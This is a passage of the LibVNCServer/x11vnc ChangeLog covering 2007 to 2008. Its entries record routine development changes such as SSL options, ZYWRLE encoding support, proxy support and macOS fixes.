Additions to tray=setpass naive user 3463 mode. 3464 34652008-11-05 runge <runge> 3466 3467 * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c, 3468 x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/help.c, 3469 x11vnc/macosxCG.c, x11vnc/rates.c, x11vnc/remote.c, 3470 x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslhelper.c, 3471 x11vnc/ssltools.h, x11vnc/userinput.c, x11vnc/x11vnc.1, 3472 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 3473 x11vnc/xevents.c: x11vnc: add zeroconf external helpers 3474 (avahi-publish and dns-sd). Alias -zeroconf. Close pipeinput_fh on 3475 exit. Kludge to make -solid work on MacOSX console. Attempt at cpp 3476 macros to disable newer libvncserver interfaces. 3477 34782008-11-05 runge <runge> 3479 3480 * configure.ac: Tweak messages. Add shmat for --without-x building. 3481 34822008-10-30 runge <runge> 3483 3484 * x11vnc/misc/enhanced_tightvnc_viewer/README, 3485 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3486 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3487 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3488 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3489 ll.patch: synchronize ssvnc 3490 34912008-10-29 runge <runge> 3492 3493 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 3494 x11vnc/help.c, x11vnc/nox11.h, x11vnc/remote.c, x11vnc/screen.c, 3495 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, 3496 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: 3497 -http_oneport for single port HTTP and VNC. Improve find_display wrt 3498 lsof blocking with -b. 3499 35002008-10-19 runge <runge> 3501 3502 * 3503 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc 3504 viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3505 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3506 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3507 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3508 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 3509 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3510 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 3511 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3512 ll.patch: Sync SSVNC changes: fullscreen fixes, local scaling, 3513 -chatonly, iso-8859-1/utf8 etc., etc. 3514 35152008-10-19 runge <runge> 3516 3517 * classes/ssl/ss_vncviewer, 3518 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Update ssl VNC 3519 viewer jars and patch file. 3520 35212008-10-19 runge <runge> 3522 3523 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 3524 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, 3525 x11vnc/cursor.c, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, 3526 x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, 3527 x11vnc/remote.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, 3528 x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c, 3529 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 3530 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3531 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 3532 x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrandr.h, 3533 x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: 3534 -chatwindow, -scale WxH, -enc changes. 3535 35362008-09-21 runge <runge> 3537 3538 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am, 3539 x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, 3540 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 3541 x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, 3542 x11vnc/tkx11vnc.h, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3543 x11vnc/x11vnc_defs.c: x11vnc: Add symmetric key encryption -enc 3544 cipher:keyfile, works with SSVNC. Make -remap work on MacOSX 3545 console. update to 0.9.5 strings. Add a couple menu items to 3546 tkx11vnc. 3547 35482008-09-17 runge <runge> 3549 3550 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3551 x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, 3552 x11vnc/x11vnc_defs.c: x11vnc: make -allow work in -ssl mode. 3553 35542008-09-14 runge <runge> 3555 3556 * classes/ssl/ss_vncviewer, 3557 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 3558 x11vnc/ChangeLog, x11vnc/README, x11vnc/gui.c, x11vnc/help.c, 3559 x11vnc/misc/enhanced_tightvnc_viewer/README, 3560 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3561 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3562 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 3563 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3564 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 3565 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3566 ll.patch, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, 3567 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c, 3568 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 3569 -sleepin m-n for random sleep. More mktemp and mkstemp protections. 3570 SSL_INIT_TIMEOUT=n env. var. Fix macosx console X call bug. 3571 Synchronize other projects sources. 3572 35732008-09-07 runge <runge> 3574 3575 * classes/ssl/ss_vncviewer, 3576 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/8to24.c, 3577 x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3578 x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/keyboard.c, 3579 x11vnc/macosxCG.c, x11vnc/macosxCG.h, 3580 x11vnc/misc/enhanced_tightvnc_viewer/README, 3581 x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat, 3582 x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat, 3583 x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc, 3584 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3585 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3586 x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc, 3587 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3588 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3589 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 3590 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 3591 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3592 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 3593 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3594 ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 3595 x11vnc/remote.c, x11vnc/solid.c, x11vnc/ssltools.h, 3596 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 3597 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3598 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 3599 x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h: x11vnc: kill 3600 gui_pid on exit in -connect/-connect_or_exit mode. -grablocal n 3601 experiment (not compiled by default). -macuskbd option for macosx 3602 for orig uskdb code. keycode=N remote contol cmd. Find dpy look at 3603 non-NFS cookies in /tmp. Fix gui tray insertion on recent gnome dt. 3604 Fix connect_file bug. Sync SSVNC 3605 36062008-06-24 runge <runge> 3607 3608 * libvncserver/rfbserver.c: We seem to need to guard against freeing 3609 iterator 'i' twice in rfbSendFramebufferUpdate() (italc reported 3610 bug) 3611 36122008-06-07 runge <runge> 3613 3614 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/unixpw.c, 3615 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 3616 x11vnc/xinerama.c: x11vnc: -clip xineramaN option, -DIGNORE_GETSPNAM 3617 for HP-UX. Print info on SSH_CONNECTION override. 3618 36192008-06-03 dscho <dscho> 3620 3621 * ChangeLog, client_examples/SDLvncviewer.c: SDLvncviewer: update 3622 screen correctly after a resize Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3623 36242008-06-03 runge <runge> 3625 3626 * configure.ac: Enable --with-ssl=DIR option. 3627 36282008-06-01 runge <runge> 3629 3630 * x11vnc/README, x11vnc/options.c, x11vnc/options.h, 3631 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 3632 lower waitms and defer if framebuffer reads are fast (> 100MB/s) 3633 36342008-06-01 runge <runge> 3635 3636 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 3637 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, 3638 x11vnc/misc/Xdummy, x11vnc/options.c, x11vnc/options.h, 3639 x11vnc/scan.c, x11vnc/screen.c, x11vnc/userinput.c, 3640 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 3641 x11vnc/xinerama.c: x11vnc: support colormaps for depths other than 3642 8. xinerama warppointer only if more than one subscreen. 3643 36442008-05-31 dscho <dscho> 3645 3646 * .gitignore: .gitignore: ignore also temporary editor files Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3647 36482008-05-31 dscho <dscho> 3649 3650 * VisualNaCro/.gitignore: VisualNaCro: add .gitignore file Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3651 36522008-05-31 dscho <dscho> 3653 3654 * VisualNaCro/configure.ac: VisualNaCro: fix configure.ac There was a misunderstanding as to the workings of AC_CHECK_PROG(). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3655 36562008-05-31 dscho <dscho> 3657 3658 * TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3659 36602008-05-31 dscho <dscho> 3661 3662 * libvncserver-config.in: Fix libvncserver-config for in-place 3663 operation Since quite some time, the linkable libraries are stored in the 3664 .libs/ subdirectories. Adjust libvncserver-config to account for 3665 that when running without installing. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3666 36672008-05-23 runge <runge> 3668 3669 * libvncserver/rfbserver.c: Handle colormaps with more than 256 3670 colors. 3671 36722008-05-13 dscho <dscho> 3673 3674 * examples/mac.c: examples/mac: disable the cursor We cannot write access the frame buffer, and we do not have a 3675 sensible cursor anyway, so better disable the cursor (which would 3676 have to be drawn for clients that do not support 3677 CursorShapeUpdates). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3678 36792008-05-13 dscho <dscho> 3680 3681 * client_examples/SDLvncviewer.c: SDLvncviewer: add -viewonly Just like its siblings from other projects, SDLvncviewer now 3682 supports viewonly connections. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3683 36842008-05-12 runge <runge> 3685 3686 * x11vnc/README, x11vnc/help.c, x11vnc/selection.c, 3687 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, 3688 x11vnc/x11vnc_defs.c: x11vnc: SSL fixes. Increase cert lifetimes to 3689 2 years. Print ssl err msg. 3690 36912008-05-12 runge <runge> 3692 3693 * configure.ac: Add X509_print_ex_fp check for x11vnc. 3694 36952008-05-12 runge <runge> 3696 3697 * x11vnc/misc/enhanced_tightvnc_viewer/README, 3698 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 3699 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3700 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3701 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3702 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3703 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3704 ll.patch: Many improvement to the frontend and unix viewer. 3705 UltraVNC proxy support, and other proxy improvements. 3706 37072008-05-08 runge <runge> 3708 3709 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3710 x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/scan.c, 3711 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, 3712 x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3713 x11vnc/x11vnc_defs.c: x11vnc: add UltraVNC repeater proxy support. 3714 fix to setp gui mode. -threads is now strongly discouraged. Read 3715 PORT= in url. User can set nolisten for Xvfb in -create mode. 3716 clean up wait_for_client() to some degree. 3717 37182008-05-08 runge <runge> 3719 3720 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 3721 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add check for 3722 "https" to viewers. update jars. 3723 37242008-04-28 dscho <dscho> 3725 3726 * rfb/rfbclient.h: Fix compilation in the absence of libjpeg The JPEG library is not necessarily installed everywhere, and 3727 sometimes it is outright undesirable to compile with JPEG support, 3728 e.g. when the server is not very fast. So fix the compilation for 3729 that case. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3730 37312008-03-21 dscho <dscho> 3732 3733 * TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3734 37352008-02-18 dscho <dscho> 3736 3737 * ChangeLog, libvncserver/rfbregion.c: Please MS Visual C++ a bit 3738 (Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3739 37402008-02-18 runge <runge> 3741 3742 * classes/ssl/ss_vncviewer, x11vnc/README: Update ssl jars. 3743 37442008-02-18 runge <runge> 3745 3746 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: changes for 3747 release 3748 37492008-02-18 runge <runge> 3750 3751 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3752 x11vnc/x11vnc_defs.c: minor date changes. 3753 37542008-02-18 runge <runge> 3755 3756 * x11vnc/misc/enhanced_tightvnc_viewer/README, 3757 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3758 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3759 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3760 ll.patch: ssvnc sync with zywrle support and improvements to popup. 3761 37622008-02-04 dscho <dscho> 3763 3764 * ChangeLog, libvncclient/rfbproto.c, libvncclient/zrle.c: ZYWRLE 3765 patch for libvncclient (thanks Noriaki Yamazaki) Highlite: * use qualityLevel/zlib_buffer. No new variable is needed. * Change coding style to recursive fashion. * Change meaning of qualityLevel== 9 for easy calc zywrle_level: old:zywrle_level== 1 new:disable ZYWRLE(same as ZRLE) so, we should not use this value for compatible reason. * Color mode handling isn't complete. I provided and checked 16 bit colors(RGB555,RGB565) and some color mode of 32 bit colors for little endian mode. we must make and check 24 bit colors and big endian mode. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3766 37672008-02-04 dscho <dscho> 3768 3769 * ChangeLog, libvncserver/zywrletemplate.c: Fix ZYWRLE en/decoding 3770 for width != scanline (thanks Noriaki Yamazaki) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3771 37722008-02-03 runge <runge> 3773 3774 * libvncserver/stats.c: Add ZYWRLE to server printout. 3775 37762008-02-02 dscho <dscho> 3777 3778 * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix 3779 button handling For some reason, I swapped buttons 2 and 3 on Dec 7, 2005, in commit 3780 "translate keys based on unicode (much more reliable than sym)". I 3781 do not remember why, nor what I smoked, but this was wrong. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3782 37832008-02-02 dscho <dscho> 3784 3785 * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix 3786 Ctrl+<letter> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3787 37882008-02-02 dscho <dscho> 3789 3790 * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix 3791 translation of the Tab key Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3792 37932008-02-02 dscho <dscho> 3794 3795 * TODO: Updated TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3796 37972008-02-01 runge <runge> 3798 3799 * libvncserver/Makefile.am: Need to include zywrletemplate.c in 3800 Makefile.am 3801 38022008-02-01 runge <runge> 3803 3804 * classes/ssl/ss_vncviewer: sync java viewer. 3805 38062008-02-01 runge <runge> 3807 3808 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3809 x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README, 3810 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3811 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3812 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3813 ll.patch, x11vnc/rates.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, 3814 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: during speeds 3815 estimate, guard against client disconnecting. 3816 38172008-01-31 dscho <dscho> 3818 3819 * libvncserver/rfbserver.c: Fix rfbSendSupportedEncodings There was a long standing TODO to make the counting of the supported 3820 encodings dynamic. It never triggered, until ZYWRLE was added. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3821 38222008-01-31 dscho <dscho> 3823 3824 * Makefile.am, configure.ac: Recurse into subdirectory x11vnc/ when 3825 configuring with --with-x11vnc Since we separated the packages LibVNCServer and x11vnc, there is a 3826 configure switch --with-x11vnc, without which x11vnc is not built. However, even _with_ this switch, it is not built, because the 3827 Makefile would not recurse into the x11vnc/ subdirectory. Fix that. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3828 38292008-01-31 dscho <dscho> 3830 3831 * libvncserver/rfbserver.c: Fix Swap16IfLE() on bytes When swapping the values for the colour table to little-endian 3832 (because they are 16-bit values), we need to cast "unsigned char" to 3833 "unsigned short"; otherwise, Microsoft's compiler would keep 3834 complaining. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3835 38362008-01-31 dscho <dscho> 3837 3838 * libvncserver/rfbserver.c, rfb/rfb.h: Move tightQualityLevel out of 3839 the JPEG specific part The variable tightQualityLevel is used for ZYWRLE compression, too, 3840 so if libjpeg is not present, but libz is, we still need to have 3841 that struct member. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3842 38432008-01-30 dscho <dscho> 3844 3845 * libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, rfb/rfb.h: 3846 Make ZYWRLE thread-safe for multiple clients ZYWRLE used a static buffer, which does not work too well if you 3847 have more than one client in a threaded server. Instead, we have 3848 the data in the client structure now. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3849 38502008-01-30 dscho <dscho> 3851 3852 * libvncserver/zrle.c, libvncserver/zywrletemplate.c: ZYWRLE brown 3853 paper bag fix While adjusting the coding style, three stupid mistakes happened. 3854 The quality is _not_ just 1, 2, 3, but really 1, 3, 2. And the 3855 macros ZYWRLE_PACK_COEFF() and ZYWRLE_UNPACK_COEFF() expand to more 3856 than one statement, which means that we need curly brackets around 3857 them when they are in an if clause. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3858 38592008-01-29 dscho <dscho> 3860 3861 * TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3862 38632008-01-29 dscho <dscho> 3864 3865 * .gitignore: Add a .gitignore file At least one developer (me) uses git to work on local branches, and 3866 this file does not hurt. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3867 38682008-01-29 dscho <dscho> 3869 3870 * ChangeLog, libvncserver/rfbserver.c: Add missing #include <time.h> 3871 (thanks Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3872 38732008-01-29 dscho <dscho> 3874 3875 * AUTHORS, ChangeLog, libvncserver/rfbserver.c, 3876 libvncserver/scale.c, libvncserver/zrle.c, 3877 libvncserver/zrleencodetemplate.c, libvncserver/zywrletemplate.c, 3878 rfb/rfbproto.h: Add ZYWRLE server-side support (thanks Noriaki 3879 Yamazaki, Hitachi) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3880 38812008-01-29 dscho <dscho> 3882 3883 * AUTHORS, CMakeLists.txt, ChangeLog, configure.ac, 3884 rfb/rfbconfig.h.cmake, rfb/rfbint.h.cmake: Add CMake support (thanks 3885 to Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3886 38872008-01-15 runge <runge> 3888 3889 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 3890 x11vnc/options.h, x11vnc/scan.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3891 x11vnc/x11vnc_defs.c: x11vnc: -ping option, fix memory corruption in 3892 copy_tiles after xrandr resize. 3893 38942007-12-16 runge <runge> 3895 3896 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/gui.c, 3897 x11vnc/macosxCG.c, x11vnc/remote.c, x11vnc/tkx11vnc, 3898 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3899 x11vnc/x11vnc_defs.c: x11vnc: setup remote-ctrl file by default on 3900 macosx. improve tkx11vnc wrt attaching to existing server in 3901 icon/tray mode. 3902 39032007-12-16 runge <runge> 3904 3905 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3906 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3907 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3908 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3909 ll.patch: Fixes for MacOSX 10.5. Improve usage of x11 viewer on 3910 macosx. 3911 39122007-12-16 runge <runge> 3913 3914 * x11vnc/ChangeLog, x11vnc/README, x11vnc/keyboard.c, 3915 x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/ssltools.h, 3916 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix 3917 find_display and usleep() prototype on macosx. -display console and 3918 check DISPLAY /tmp/...:0 on macosx. implement -noxinerama. 3919 39202007-11-13 runge <runge> 3921 3922 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, 3923 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c, 3924 x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 3925 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add 3926 clear_locks (Caps_Lock, etc) action. 3927 39282007-10-27 runge <runge> 3929 3930 * x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 3931 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3932 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3933 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc 3934 sync: connect_br.tcl socks4/5 http proxies, ss_vncviewer socks5 3935 proxy. ssh 1st proxy. whatismyip.com fix. 127.0.0.1 on Darwin 3936 39372007-10-27 runge <runge> 3938 3939 * classes/ssl/ss_vncviewer: ssl java and ss_vncviewer (socks5) sync. 3940 39412007-10-27 runge <runge> 3942 3943 * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, 3944 x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, 3945 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosxCGP.c, 3946 x11vnc/macosxCGS.c, x11vnc/options.c, x11vnc/options.h, 3947 x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c, 3948 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 3949 x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c, 3950 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3951 x11vnc/x11vnc_defs.c, x11vnc/xrecord.c: x11vnc: -proxy, -ssh 3952 options. ncache bug in -8to24, Selection "targets" bugfix. 3953 39542007-10-04 runge <runge> 3955 3956 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 3957 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3958 x11vnc/x11vnc_defs.c: x11vnc: add xfce to createdisplay 3959 39602007-09-26 runge <runge> 3961 3962 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3963 x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/util.c, 3964 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 3965 x11vnc/x11vnc_defs.c: x11vnc: COLUMNS=256 and other fixes to 3966 find/create scripts. More ratecheck. 3967 39682007-09-17 dscho <dscho> 3969 3970 * libvncserver/rfbserver.c: Avoid misaligned access on 64-bit 3971 machines We used to assume that a char[256] is properly aligned to be cast to 3972 an rfbServerInitMsg, but that was not the case. So use a union 3973 instead. Noticed by Flavio Leitner. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 3974 39752007-09-11 runge <runge> 3976 3977 * classes/ssl/ss_vncviewer, 3978 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 3979 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update 3980 ss_vncviewer script, jars, and patch files. 3981 39822007-09-11 runge <runge> 3983 3984 * x11vnc/ChangeLog, x11vnc/misc/enhanced_tightvnc_viewer/README, 3985 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 3986 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3987 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3988 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc: 3989 sshvnc ssh-only, tsvnc Terminal Services modes. Improvements to 3990 ss_vncviewer. Automatically find X dpy and X login. Reorganize 3991 menus a bit. ~/.ssvncrc file. 3992 39932007-09-11 runge <runge> 3994 3995 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 3996 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, 3997 x11vnc/options.c, x11vnc/options.h, x11vnc/screen.c, 3998 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 3999 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4000 x11vnc/x11vnc_defs.c, x11vnc/xrecord.c, x11vnc/xwrappers.c: x11vnc: 4001 fix wireframe crash under -clip. Add -redirect for VNC redir. 4002 -rawfb nullbig, randbig, solid, swirl, etc. FD_XDM mode to 4003 find_display. -listdpy. Add enlightenment. Xvnc.redirect 4004 FINDDISPLAY-vnc_redirect. -xvnc, -xvnc_redirect, -svc_xvnc. 4005 AUTO_PORT. 4006 40072007-09-05 runge <runge> 4008 4009 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 4010 x11vnc/keyboard.c, x11vnc/misc/Xdummy, x11vnc/options.c, 4011 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, 4012 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 4013 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4014 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 4015 x11vnc/xevents.h, x11vnc/xrandr.c, x11vnc/xwrappers.c: x11vnc: 4016 -autoport, -finddpy, -xdummy. watch xrandr events. 4017 check_redir_services() utilities for Terminal services. Improve 4018 Xdummy. 4019 40202007-09-05 runge <runge> 4021 4022 * ChangeLog, classes/ssl/Makefile.am, classes/ssl/proxy.vnc, 4023 classes/ssl/ss_vncviewer, 4024 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 4025 classes/ssl/ultraproxy.vnc, 4026 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: classes/ssl: 4027 improve 